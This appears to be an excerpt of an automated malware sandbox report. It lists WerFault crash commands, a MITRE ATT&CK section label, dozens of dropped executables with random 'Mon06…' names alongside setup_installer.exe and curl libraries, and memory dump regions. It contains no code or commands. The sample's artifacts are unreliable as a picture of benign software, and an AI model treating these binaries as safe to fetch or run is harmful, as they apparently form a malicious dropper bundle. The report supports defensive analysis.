C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 672 -p 7024 -ip 70241⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 680 -p 5596 -ip 55961⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 624 -p 9776 -ip 97761⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 588 -p 10132 -ip 101321⤵
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
powershell.exe.log
StartupProfileData-NonInteractive
2rAg2Loy.B
3990096560.exe
4062189938.exe
Mon0610b38e64.exe
Mon0610b38e64.exe
Mon061955db94a2805.exe
Mon061955db94a2805.exe
Mon061d5ff27dc378f4.exe
Mon061d5ff27dc378f4.exe
Mon06295419f3.exe
Mon06295419f3.exe
Mon0635fee6a5db6.exe
Mon0635fee6a5db6.exe
Mon0653be691ad8e1.exe
Mon0653be691ad8e1.exe
Mon065abded91bf551.exe
Mon065abded91bf551.exe
Mon066eddcf47d104cdd.exe
Mon066eddcf47d104cdd.exe
Mon067c5bd1aeb8c5d9a.exe
Mon067c5bd1aeb8c5d9a.exe
Mon069c6cac288e8.exe
Mon069c6cac288e8.exe
Mon06a340828b11750b.exe
Mon06a340828b11750b.exe
Mon06a340828b11750b.exe
Mon06a5328cc0a32.exe
Mon06a5328cc0a32.exe
Mon06adbb48703cdc9.exe
Mon06adbb48703cdc9.exe
Mon06b908ce9c.exe
Mon06b908ce9c.exe
Mon06b908ce9c.exe
Mon06fada3bfc.exe
Mon06fada3bfc.exe
Mon06fada3bfc.exe
libcurl.dll
libcurl.dll
libcurlpp.dll
libcurlpp.dll
libgcc_s_dw2-1.dll
libgcc_s_dw2-1.dll
libgcc_s_dw2-1.dll
libstdc++-6.dll
libstdc++-6.dll
libwinpthread-1.dll
libwinpthread-1.dll
setup_install.exe
setup_install.exe
GS80E3S.1bE
GyNQpMs8.8ix
MN9RL3Hp4HY1J.eXe
MN9RL3Hp4HY1J.eXe
YmbtS87g.hd
idp.dll
Mon06a340828b11750b.tmp
Mon06a340828b11750b.tmp
idp.dll
Mon06a340828b11750b.tmp
Mon06a340828b11750b.tmp
setup_installer.exe
setup_installer.exe
memory/848-326-0x0000000003300000-0x0000000003393000-memory.dmp
memory/848-325-0x0000000003180000-0x000000000322D000-memory.dmp
memory/848-324-0x0000000002F30000-0x00000000030C9000-memory.dmp
memory/848-323-0x0000000003240000-0x00000000032E7000-memory.dmp
memory/916-199-0x0000000000DF0000-0x0000000000E20000-memory.dmp
memory/1044-221-0x0000000000800000-0x0000000000808000-memory.dmp
memory/1044-279-0x00007FFFE74E0000-0x00007FFFE7FA1000-memory.dmp
memory/1044-231-0x00007FFFE74E0000-0x00007FFFE7FA1000-memory.dmp
memory/1052-413-0x000000000CAC0000-0x000000000CC37000-memory.dmp
memory/1228-352-0x0000000000400000-0x0000000000414000-memory.dmp
memory/1740-222-0x0000000000B90000-0x0000000000BF8000-memory.dmp
memory/1740-229-0x00000000053E0000-0x0000000005456000-memory.dmp
memory/1740-235-0x0000000005390000-0x00000000053AE000-memory.dmp
memory/1740-256-0x0000000005B10000-0x00000000060B4000-memory.dmp
memory/2040-300-0x0000000007690000-0x0000000007726000-memory.dmp
memory/2040-262-0x00000000060F0000-0x000000000610E000-memory.dmp
memory/2040-283-0x00000000070E0000-0x0000000007112000-memory.dmp
memory/2040-286-0x0000000071990000-0x00000000719DC000-memory.dmp
memory/2040-292-0x0000000007AC0000-0x000000000813A000-memory.dmp
memory/2208-157-0x000000006FE40000-0x000000006FFC6000-memory.dmp
memory/2208-258-0x000000006B440000-0x000000006B4CF000-memory.dmp
memory/2208-156-0x0000000064940000-0x0000000064959000-memory.dmp
memory/2208-155-0x000000006FE40000-0x000000006FFC6000-memory.dmp
memory/2208-154-0x000000006FE40000-0x000000006FFC6000-memory.dmp
memory/2208-150-0x000000006B440000-0x000000006B4CF000-memory.dmp
memory/2208-152-0x000000006B440000-0x000000006B4CF000-memory.dmp
memory/2208-158-0x000000006FE40000-0x000000006FFC6000-memory.dmp
memory/2208-159-0x000000006B280000-0x000000006B2A6000-memory.dmp
memory/2208-260-0x000000006FE40000-0x000000006FFC6000-memory.dmp
memory/2208-160-0x000000006B280000-0x000000006B2A6000-memory.dmp
memory/2208-259-0x000000006B280000-0x000000006B2A6000-memory.dmp
memory/2208-153-0x000000006B280000-0x000000006B2A6000-memory.dmp
memory/2208-151-0x000000006B440000-0x000000006B4CF000-memory.dmp
memory/2208-261-0x0000000064940000-0x0000000064959000-memory.dmp
memory/2352-364-0x0000000140000000-0x0000000140623000-memory.dmp
memory/2360-227-0x0000000005FD0000-0x0000000006036000-memory.dmp
memory/2360-296-0x00000000079D0000-0x00000000079DA000-memory.dmp
memory/2360-186-0x0000000005090000-0x00000000050C6000-memory.dmp
memory/2360-225-0x0000000005E70000-0x0000000005ED6000-memory.dmp
memory/2360-308-0x0000000007C70000-0x0000000007C78000-memory.dmp
memory/2360-285-0x0000000006BE0000-0x0000000006BFE000-memory.dmp
memory/2360-307-0x0000000007C90000-0x0000000007CAA000-memory.dmp
memory/2360-304-0x0000000007B80000-0x0000000007B8E000-memory.dmp
memory/2360-223-0x0000000005770000-0x0000000005792000-memory.dmp
memory/2360-197-0x0000000005840000-0x0000000005E68000-memory.dmp
memory/2360-284-0x0000000071990000-0x00000000719DC000-memory.dmp
memory/2360-293-0x0000000007950000-0x000000000796A000-memory.dmp
memory/3316-271-0x0000000000400000-0x0000000000420000-memory.dmp
memory/3436-294-0x0000000000400000-0x000000000102B000-memory.dmp
memory/3436-329-0x0000000001030000-0x0000000001130000-memory.dmp
memory/3436-331-0x0000000000400000-0x000000000102B000-memory.dmp
memory/3436-290-0x0000000001130000-0x0000000001179000-memory.dmp
memory/3436-289-0x0000000001030000-0x0000000001130000-memory.dmp
memory/3832-359-0x0000000140000000-0x0000000140623000-memory.dmp
memory/3932-342-0x0000000001093000-0x00000000010B5000-memory.dmp
memory/4048-202-0x0000000000400000-0x0000000000414000-memory.dmp
memory/4048-182-0x0000000000400000-0x0000000000414000-memory.dmp
memory/4048-242-0x0000000000400000-0x0000000000414000-memory.dmp
memory/4220-356-0x0000000000400000-0x0000000000414000-memory.dmp
memory/4244-299-0x0000000000030000-0x0000000000039000-memory.dmp
memory/4244-301-0x0000000000400000-0x0000000001013000-memory.dmp
memory/4244-303-0x0000000001172000-0x0000000001182000-memory.dmp
memory/4244-316-0x0000000000400000-0x0000000001013000-memory.dmp
memory/4384-237-0x00007FFFE74E0000-0x00007FFFE7FA1000-memory.dmp
memory/4384-340-0x00007FFFE74E0000-0x00007FFFE7FA1000-memory.dmp
memory/4384-288-0x00007FFFE74E0000-0x00007FFFE7FA1000-memory.dmp
memory/4384-228-0x00000000001C0000-0x00000000002B8000-memory.dmp
memory/4620-297-0x0000000001100000-0x000000000114A000-memory.dmp
memory/4620-298-0x0000000000400000-0x000000000102C000-memory.dmp
memory/4620-295-0x0000000001343000-0x000000000136D000-memory.dmp
memory/4684-332-0x0000000003D70000-0x0000000003FC4000-memory.dmp
memory/4684-317-0x0000000003D70000-0x0000000003FC4000-memory.dmp
memory/4864-250-0x0000000000BA0000-0x0000000000C08000-memory.dmp
memory/4872-330-0x0000000003FA0000-0x00000000041F4000-memory.dmp
memory/4872-333-0x0000000003FA0000-0x00000000041F4000-memory.dmp
memory/4952-419-0x000000000D1C0000-0x000000000D337000-memory.dmp
memory/4964-254-0x0000000000400000-0x0000000000414000-memory.dmp
memory/4964-336-0x0000000140000000-0x0000000140070000-memory.dmp
memory/4964-233-0x0000000000400000-0x0000000000414000-memory.dmp
memory/4964-275-0x0000000000400000-0x0000000000414000-memory.dmp
memory/5108-267-0x0000000005820000-0x0000000005E38000-memory.dmp
memory/5108-268-0x00000000053C0000-0x00000000053D2000-memory.dmp
memory/5108-269-0x00000000054F0000-0x00000000055FA000-memory.dmp
memory/5108-265-0x0000000000400000-0x000000000041E000-memory.dmp
memory/5108-273-0x0000000005420000-0x000000000545C000-memory.dmp
memory/5248-430-0x0000000000400000-0x0000000000428000-memory.dmp
memory/5248-436-0x0000000000400000-0x0000000000428000-memory.dmp
memory/5336-371-0x0000000000340000-0x0000000000368000-memory.dmp
memory/5432-375-0x0000000000400000-0x0000000000428000-memory.dmp
memory/5448-404-0x0000000003450000-0x0000000003512000-memory.dmp
memory/5448-418-0x0000000003520000-0x00000000035CD000-memory.dmp
memory/5524-405-0x0000000010000000-0x000000001001B000-memory.dmp
memory/5524-384-0x0000000000400000-0x00000000015F3000-memory.dmp
memory/5636-427-0x0000000002B90000-0x0000000002C52000-memory.dmp
memory/5636-387-0x0000000002320000-0x000000000255B000-memory.dmp
memory/5864-435-0x0000000000620000-0x0000000000635000-memory.dmp
memory/5900-389-0x0000000000400000-0x0000000000428000-memory.dmp
memory/5952-390-0x0000000000400000-0x0000000000428000-memory.dmp